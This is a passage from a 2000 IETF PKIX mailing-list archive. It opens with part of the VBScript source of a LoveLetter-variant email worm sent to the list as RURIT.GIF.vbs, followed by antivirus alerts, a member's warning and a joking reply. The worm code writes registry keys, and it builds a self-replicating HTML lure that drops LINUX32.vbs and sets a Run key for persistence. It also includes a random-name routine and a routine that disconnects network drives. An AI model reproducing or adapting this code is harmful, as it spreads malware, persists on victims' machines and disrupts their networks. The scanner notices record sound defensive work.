"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD"
   end if
     x=3Dx+1
  next

  regedit.RegWrite  =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
 else
   regedit.RegWrite  =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next

Set out=3DNothing
Set mapi=3DNothing
end sub


Function polyname(n)
Dim i, vector, texto, pos
on error resume next
rem polyformic ( ohhhh yeahhh...) very good polyformic engine  :() by =
Sand Ja9e Gr0w

vector =3D Array("A", "E", "I", "O", "U")
texto =3D ""
Randomize
For i =3D 1 To n
  Randomize
  rem  consonante
  texto =3D texto&Chr(Int((Rnd * 25) + 65))
  i =3D i + 1
  If i > n Then
   exit for
  end if
  rem  vocal
  texto =3D texto&vector(Int((Rnd * 4) + 1))
  Randomize
Next

polyname =3D texto
End Function




sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1=3D"<HTML><HEAD>"&_
"<?-?HEAD><BODY =
ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND-=
FBI-SECRETS.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND-=
FBI-SECRETS.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ =
BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>M.H.M TEAM <?-?p><p>Colombia<BR>- Please press #-#YES#-# =
button for see secret pictures<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ BGCOLOR=3D@-@yellow@-@>Hello =
Colombia...! Since Here, after, since other part of World..<?-?MARQUEE> =
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=3Dscreen.availWidth;var =
hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcr=
lf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"&vbcrlf& _
  "<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _
  "<!--"&vbcrlf& _
  "on error resume next"&vbcrlf& _
  "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  "aw=3D1"&vbcrlf& _
  "code=3D"

  dta2=3D"set =
fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  "set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _
  "code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  "code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  "code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  "set wri=3Dfso.CreateTextFile(dirsystem&@-@^-^LINUX32.vbs@-@)"&vbcrlf& =
_
  "wri.write code4"&vbcrlf& _
  "wri.close"&vbcrlf& _
  "if (fso.FileExists(dirsystem&@-@^-^LINUX32.vbs@-@)) then"&vbcrlf& _
  "if (err.number=3D424) then"&vbcrlf& _
  "aw=3D0"&vbcrlf& _
  "end if"&vbcrlf& _
  "if (aw=3D1) then"&vbcrlf& _
  "document.write @-@ERROR: can#-#t load Pictures. IE internal =
Error@-@"&vbcrlf& _
  "window.close"&vbcrlf& _
  "end if"&vbcrlf& _
  "end if"&vbcrlf& _
  "Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  "regedit.RegWrite  =
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-=
^Run^-^LINUX32@-@,dirsystem&@-@^-^LINUX32.vbs@-@"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"

  dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")
  dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")
  dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")
  dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")
  dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")
  dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")
  dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")
  dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")
  set fso=3DCreateObject("Scripting.FileSystemObject")
  set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)
  lines=3DSplit(c.ReadAll,vbcrlf)
  l1=3Dubound(lines)

  for n=3D0 to ubound(lines)
    lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))
    lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))
    lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))
    if (l1=3Dn) then
      lines(n)=3Dchr(34)+lines(n)+chr(34)
     else
      lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"
   end if
  next

  set =
b=3Dfso.CreateTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM")
  b.close
  set =
d=3Dfso.OpenTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM",2)
  d.write dt5
  d.write join(lines,vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
end sub



sub killnet()
Dim intDrive,strDrive,WSHNetwork

on error resume next


Set WSHNetwork =3D WScript.CreateObject("WScript.Network")

    For intDrive =3D 26 To 5 Step -1      =20
               strDrive =3D Chr(intDrive + 64) & ":"       =20
               WSHNetwork.RemoveNetworkDrive strDrive
    Next

rem  bye net connection ...                 :-(
Set WSHNetwork=3DNothing

end sub

------=_NextPart_000_00C9_01C06904.533323E0--



From owner-ietf-pkix@imc.org  Mon Dec 18 10:10:50 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09420
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:10:49 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA28248;
	Mon, 18 Dec 2000 07:06:54 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:06:52 -0800
Received: from ntserver2.chrysalis-its.com ([209.47.245.163])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA28216
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:06:51 -0800 (PST)
From: postmaster@chrysalis-its.com
Message-Id: <200012181506.HAA28216@ns.secondary.com>
Received: from PANTHER ([172.16.0.9]) by ntserver2.chrysalis-its.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id XXCGYRMB; Mon, 18 Dec 2000 10:09:56 -0500
Date: Mon, 18 Dec 2000 10:09:05 -0500 (Eastern Standard Time)
To: <ietf-pkix@imc.org>
Subject: InterScan NT Alert
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Mon, 18 Dec 2000 10:09:05 -0500 (Eastern Standard Time)
Method:	Mail
From:  	<jeanne.gorman@baltimore.com>
To:    	<ietf-pkix@imc.org>
File:  	RURIT.GIF.vbs
Action:	clean failed - deleted
Virus: 	VBS_LOVELETTR.AS 


From owner-ietf-pkix@imc.org  Mon Dec 18 10:11:18 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09450
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:11:17 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA28375;
	Mon, 18 Dec 2000 07:07:26 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:07:22 -0800
Received: from eamail1-out.unisys.com (eamail1-out.unisys.com [192.61.61.99])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA28332
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:07:21 -0800 (PST)
Received: from us-ea-gtwy-7.ea.unisys.com (us-ea-gtwy-7.ea.unisys.com [192.61.145.102])
	by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id PAA11047
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 15:09:39 GMT
Received: by us-ea-gtwy-7.ea.unisys.com with Internet Mail Service (5.5.2650.21)
	id <Y0AQWYQ4>; Mon, 18 Dec 2000 09:10:21 -0600
Message-ID: <5DB22FA0A32CD2118DDD00104B94378A10CE2F20@us-ea-gtwy-7.ea.unisys.com>
From: Nemx Power Tools for MS Exchange Server_US-EA-GTWY-7_0
	 <NMXEXSPP0_US-EA-GTWY-7@unisys.com>
To: ietf-pkix@imc.org
Subject: Virus Notification: A virus has been detected in a message in whi
	ch you where a recipient
Date: Mon, 18 Dec 2000 09:09:58 -0600
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

	From:		Jeanne Gorman [SMTP:jeanne.gorman@baltimore.com]
	To:		
	Date:		Mon, Dec 18 2000,  9:01:18 AM
	Subject:		US PRESIDENT AND FBI SECRETS =PLEASE VISIT
=> (http://WWW.2600.COM)<=


The message contained 1 virus(es):

	rurit.gif.vbs		infected with the VBS/LoveLetter_based@mm
virus
- - -


Virus Notification: A virus has been detected in a message in which you
where a recipient!
Check the original message.
If the attachment could not be repaired it was Deleted from the message.


From owner-ietf-pkix@imc.org  Mon Dec 18 10:11:25 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09461
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:11:25 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA28510;
	Mon, 18 Dec 2000 07:07:35 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:07:33 -0800
Received: from mail.brokat.de (mail.brokat.de [212.9.175.131])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA28466
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:07:31 -0800 (PST)
From: viruscop@brokat.com
Received: by mail.brokat.de (Smail3.2.0.111/mail.brokat.de)
	via LF.net GmbH Internet Services
	via remoteip 172.17.2.1
	via remotehost border with smtp
	for mail.imc.org
	id m1481zT-005lKhC; Mon, 18 Dec 2000 16:14:15 +0100 (CET)
Message-Id: <m1481zT-005lKhC@mail.brokat.de>
Date: Mon, 18 Dec 2000 16:10:27 +0100 (W. Europe Standard Time)
To: <ietf-pkix@imc.org>
Subject: InterScan NT Alert
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Mon, 18 Dec 2000 16:10:27 +0100 (W. Europe Standard Time)
Method:	Mail
From:  	<jeanne.gorman@baltimore.com>
To:    	<ietf-pkix@imc.org>
File:  	RURIT.GIF.vbs
Action:	clean failed - moved to RURIT.GIF.vbs.0
Virus: 	VBS_LOVELETTR.AS 


From owner-ietf-pkix@imc.org  Mon Dec 18 10:13:03 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09498
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:13:02 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA28950;
	Mon, 18 Dec 2000 07:09:15 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:09:13 -0800
Received: from roadblock.missi.ncsc.mil (roadblock.missi.ncsc.mil [144.51.50.70])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA28921
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:09:12 -0800 (PST)
Received: from roadblock.missi.ncsc.mil (root@localhost)
	by roadblock.missi.ncsc.mil with ESMTP id JAA14716
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 09:45:21 -0500 (EST)
Message-Id: <200012181445.JAA14711@roadblock.missi.ncsc.mil>
From: "Fillingham,  David W." <dwfilli@missi.ncsc.mil>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Subject: Virus Warning : Subject : US PRESIDENT AND FBI SECRETS =PLEASE  V
	ISIT => (http://WWW.2600.COM) < =
Date: Mon, 18 Dec 2000 10:13:21 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C06905.0F57D020"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C06905.0F57D020
Content-Type: text/plain;
	charset="ISO-8859-1"

All:  

Our virus scanner detected a virus in the recent message sent to the
ietf/pkix mail list - subject:  US PRESIDENT AND FBI SECRETS =PLEASE

Thought I'd pass on the word.

Best Regards,
Dave Fillingham

-----Original Message-----
From: mailsweeper@missi.ncsc.mil [mailto:mailsweeper@missi.ncsc.mil] 
Sent: Monday, December 18, 2000 10:09 AM
Subject: Virus Warning : Subject : US PRESIDENT AND FBI SECRETS =PLEASE

  was sent a virus from owner-ietf-pkix@imc.org.
The e-mail titled :  US PRESIDENT AND FBI SECRETS =PLEASE VISIT =>
(http://WWW.2600.COM)<=
was scanned and contained a virus.
The email will not be delivered, and will be deleted.

------_=_NextPart_001_01C06905.0F57D020
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>Virus Warning : Subject : US PRESIDENT AND FBI SECRETS =3DPLEASE =
 VISIT =3D&gt; (http://WWW.2600.COM) &lt; =3D</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>All:&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>Our virus scanner detected a virus in the recent =
message sent to the ietf/pkix mail list - subject:&nbsp; US PRESIDENT =
AND FBI SECRETS =3DPLEASE</FONT></P>

<P><FONT SIZE=3D2>Thought I'd pass on the word.</FONT>
</P>

<P><FONT SIZE=3D2>Best Regards,</FONT>
<BR><FONT SIZE=3D2>Dave Fillingham</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: mailsweeper@missi.ncsc.mil [<A =
HREF=3D"mailto:mailsweeper@missi.ncsc.mil">mailto:mailsweeper@missi.ncsc=
.mil</A>] </FONT>
<BR><FONT SIZE=3D2>Sent: Monday, December 18, 2000 10:09 AM</FONT>
<BR><FONT SIZE=3D2>Subject: Virus Warning : Subject : US PRESIDENT AND =
FBI SECRETS =3DPLEASE</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp; was sent a virus from =
owner-ietf-pkix@imc.org.</FONT>
<BR><FONT SIZE=3D2>The e-mail titled :&nbsp; US PRESIDENT AND FBI =
SECRETS =3DPLEASE VISIT =3D&gt; (<A HREF=3D"http://WWW.2600.COM" =
TARGET=3D"_blank">http://WWW.2600.COM</A>)&lt;=3D</FONT>
<BR><FONT SIZE=3D2>was scanned and contained a virus.</FONT>
<BR><FONT SIZE=3D2>The email will not be delivered, and will be =
deleted.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C06905.0F57D020--


From owner-ietf-pkix@imc.org  Mon Dec 18 10:15:03 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09511
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:15:03 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA29203;
	Mon, 18 Dec 2000 07:11:10 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:11:08 -0800
Received: from smaug.wrq.com (smaug.wrq.com [150.215.17.2])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA29177
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:11:08 -0800 (PST)
Received: from abra.wrq.com (abra.wrq.com [150.215.8.10])
	by smaug.wrq.com (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id HAA28116
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:14:14 -0800 (PST)
Received: by abra.wrq.com with Internet Mail Service (5.5.2650.21)
	id <Y9QWXKZ4>; Mon, 18 Dec 2000 07:14:12 -0800
Message-ID: <616772E97E38D31188FA00508B318ACA01B3C0B8@abra.wrq.com>
From: ANTIGEN_ABRA <ANTIGEN_ABRA@wrq.com>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Subject: Antigen found =*.vbs file
Date: Mon, 18 Dec 2000 07:14:03 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Antigen for Exchange found RURIT.GIF.vbs matching =*.vbs file filter.
The file is currently Deleted.  The message, "US PRESIDENT AND FBI SECRETS
=PLEASE VISIT => (http://WWW.2600.COM)<=", was
sent from Jeanne Gorman  and was discovered in IMC Queues\Inbound
located at WRQ/Seattle/ABRA.


From owner-ietf-pkix@imc.org  Mon Dec 18 10:17:15 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09566
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:17:15 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA29532;
	Mon, 18 Dec 2000 07:13:22 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:13:20 -0800
Received: from tkcs04 (fs1.tkc.at [195.248.51.98])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA29500
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:13:19 -0800 (PST)
From: virusadmin@tkc.at
Message-Id: <200012181513.HAA29500@ns.secondary.com>
Date: Mon, 18 Dec 2000 16:17:50 +0100 (Westeuropäische Normalzeit)
To: <ietf-pkix@imc.org>
Subject: InterScan NT Alert
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Mon, 18 Dec 2000 16:17:50 +0100 (Westeuropäische Normalzeit)
Method:	Mail
From:  	<jeanne.gorman@baltimore.com>
To:    	<ietf-pkix@imc.org>
File:  	RURIT.GIF.vbs
Action:	deleted
Virus: 	VBS_LOVELETTR.AS 


From owner-ietf-pkix@imc.org  Mon Dec 18 10:21:47 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09656
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:21:47 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA00662;
	Mon, 18 Dec 2000 07:17:59 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:17:57 -0800
Received: from bbmail1-out.unisys.com ([192.63.108.40])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA28384
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:07:27 -0800 (PST)
Received: from us-bb-gtwy-2.bb.unisys.com (us-bb-gtwy-2.bb.unisys.com [192.63.78.152])
	by bbmail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id PAA28610
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 15:05:04 GMT
Received: by us-bb-gtwy-2.bb.unisys.com with Internet Mail Service (5.5.2650.21)
	id <YX7HRPM7>; Mon, 18 Dec 2000 10:10:12 -0500
Message-ID: <CBB88216EA7FD211A31D00105A239A5F06530118@us-bb-gtwy-2.bb.unisys.com>
From: Nemx Power Tools for MS Exchange Server_US-BB-GTWY-2_0
	 <NMXEXSPP0_US-BB-GTWY-2@UNISYS.com>
To: ietf-pkix@imc.org
Subject: Virus Notification: A virus has been detected in a message in whi
	ch you where a recipient
Date: Mon, 18 Dec 2000 10:10:08 -0500
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

	From:		Jeanne Gorman [SMTP:jeanne.gorman@baltimore.com]
	To:		
	Date:		Mon, Dec 18 2000,  10:01:18 AM
	Subject:		US PRESIDENT AND FBI SECRETS =PLEASE VISIT
=> (http://WWW.2600.COM)<=


The message contained 1 virus(es):

	rurit.gif.vbs		infected with the VBS/LoveLetter_based@mm
virus
- - -


Virus Notification: A virus has been detected in a message in which you
where a recipient!
Check the original message.
If the attachment could not be repaired it was Deleted from the message.


From owner-ietf-pkix@imc.org  Mon Dec 18 10:25:36 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09698
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:25:36 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA01976;
	Mon, 18 Dec 2000 07:21:47 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:21:45 -0800
Received: from mail.telenisus.com ([204.248.55.99])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA01924
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:21:43 -0800 (PST)
X-WSS-ID: 1620F24029266-01
Date: Mon, 18 Dec 2000 09:31:25 -0600
From: "Postmaster" <Postmaster@Telenisus.com>
To: ietf-pkix@imc.org
Message-ID: <1620F24029266-01@WorldSecure_Server__Tri-Sage.com_>
MIME-Version: 1.0
Content-Type: multipart/mixed; 
 boundary="_-==1620F24736==-_"
Subject: WS/Mail Server Notification
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


--_-==1620F24736==-_
Content-Type: text/plain
Content-Disposition: inline

You have recieved a mail message that contained a "Visual Basic Script"
attachment.
The attachment has been stripped and the message has been delivered to
you.

If you need further assistance with this issue, please contact the NOC
(795-HELP)
and ask to open a trouble ticket.the following files were deleted:
	RURIT.GIF.vbs


--_-==1620F24736==-_--



From owner-ietf-pkix@imc.org  Mon Dec 18 10:27:00 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09732
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:26:59 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA02508;
	Mon, 18 Dec 2000 07:23:05 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:23:03 -0800
Received: from imsp015.netvigator.com (imsp015.netvigator.com [205.252.144.206])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA02448
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:23:01 -0800 (PST)
Received: from hkscript.com (pcd105172.netvigator.com [168.70.130.172])
	by imsp015.netvigator.com (8.9.3/8.9.1) with ESMTP id XAA13450;
	Mon, 18 Dec 2000 23:25:44 +0800 (HKT)
Message-ID: <3A3E3A8F.A7013520@hkscript.com>
Date: Mon, 18 Dec 2000 23:25:51 +0700
From: "Hung Hin Lik, Shell" <shell@hkscript.com>
Organization: Slackware and OpenBSD
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: jeanne.gorman@baltimore.com
CC: ietf-pkix@imc.org
Subject: Re: US PRESIDENT AND FBI SECRETS =PLEASE VISIT => 
 (http://WWW.2600.COM)<=
References: <00c801c06904$533323e0$2683000a@us.cybertrust.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

hahaa...

You do a GOOD 'joke'...

hope no one using outlook and script autorun..:-)

Well, I like netscape..

Jeanne Gorman wrote:
> 
> VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES..
> 
>   ------------------------------------------------------------------------
>                     Name: RURIT.GIF.vbs
>    RURIT.GIF.vbs    Type: VBScript Script File (application/x-unknown-content-type-VBSFile)
>                 Encoding: quoted-printable

-- 
Best Regards,
Shell Hung

mailto:shellhung@linux.org.hk
HomePage : http://www.hkscript.com


From owner-ietf-pkix@imc.org  Mon Dec 18 10:37:35 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09795
	for <pkix-archive@odin.ietf.org>; Mon, 18 Dec 2000 10:37:34 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA04742;
	Mon, 18 Dec 2000 07:33:46 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 18 Dec 2000 07:33:40 -0800
Received: from jpmorgan.com (threshold3.jpmorgan.com [169.71.1.12])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA04704
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 07:33:39 -0800 (PST)
Received: (from uucp@localhost)
	by jpmorgan.com (8.8.5/8.8.5) id KAA10082
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 10:36:44 -0500 (EST)
Received: from jpmmailhost3.ny.jpmorgan.com(198.75.231.101) by threshold3.jpmorgan.com via smap (V4.2)
	id xma001971; Mon, 18 Dec 00 10:26:27 -0500
Received: from nyc-ntgw-n01.ny.jpmorgan.com (nyc-smtpmta-05.ny.jpmorgan.com [146.149.150.25])
	by jpmmailhost3.ny.jpmorgan.com (8.9.1a/8.9.1) with SMTP id KAA28923
	for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 10:24:16 -0500 (EST)
Received: by nyc-ntgw-n01.ny.jpmorgan.com(Lotus SMTP MTA v1.2  (600.1 3-26-1998))  id 852569B9.0054BFE5 ; Mon, 18 Dec 2000 10:25:41 -0500
X-Lotus-FromDomain: SMTP
From: "NYC_SMTPMTA_05" <"NYC_SMTPMTA_05"@jpmorgan.com>
To: "Antigen Notification List #3" <Antigen_Notification_List_#3@nyc_ntgw_n01.ny.jpmorgan.com>
Message-ID: <852569B9.0054BE18.00@nyc-ntgw-n01.ny.jpmorgan.com>
Date: Mon, 18 Dec 2000 10:25:36 -0500
Subject: ALERT:Your message from jeanne.gorman was truncated; File att1
	.vbs infected with VBS/LoveLetter_based@mm virus
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

A file attachment sent to you was infected with a virus and could NOT
be cleaned. The file has been detached and placed in a quarantine area.
Please contact the sender to arrange for a resend of an uninfected file.
The sender has also been notified as have members of the Information
Security Group. INCIDENT
---------------------------------------------------------------------------
---------------------------------------------
 Scan Time:    12/18/2000 10:25:36 AM
 Detection:    File att1.vbs infected with VBS/LoveLetter_based@mm virus
 Disposition:  Note has been truncated
 Quarantined:  (Document link not converted)
NYC_SMTPMTA_05!!d:\notesdat\A3QAREA.NSF
 Version:      Antigen 3.30 (Build 4)


 SYNOPSIS
---------------------------------------------------------------------------
---------------------------------------------

FILE ATTACHMENT 'att1.vbs'
     << VBS/LoveLetter_based@mm >>
     File size:     12609 bytes
     Host type:     MSDOS
     Compression:   ON
     Attributes:    PUBLIC READ-WRITE
     File flags:    0
     Created:       12/18/2000 10:23:47 AM
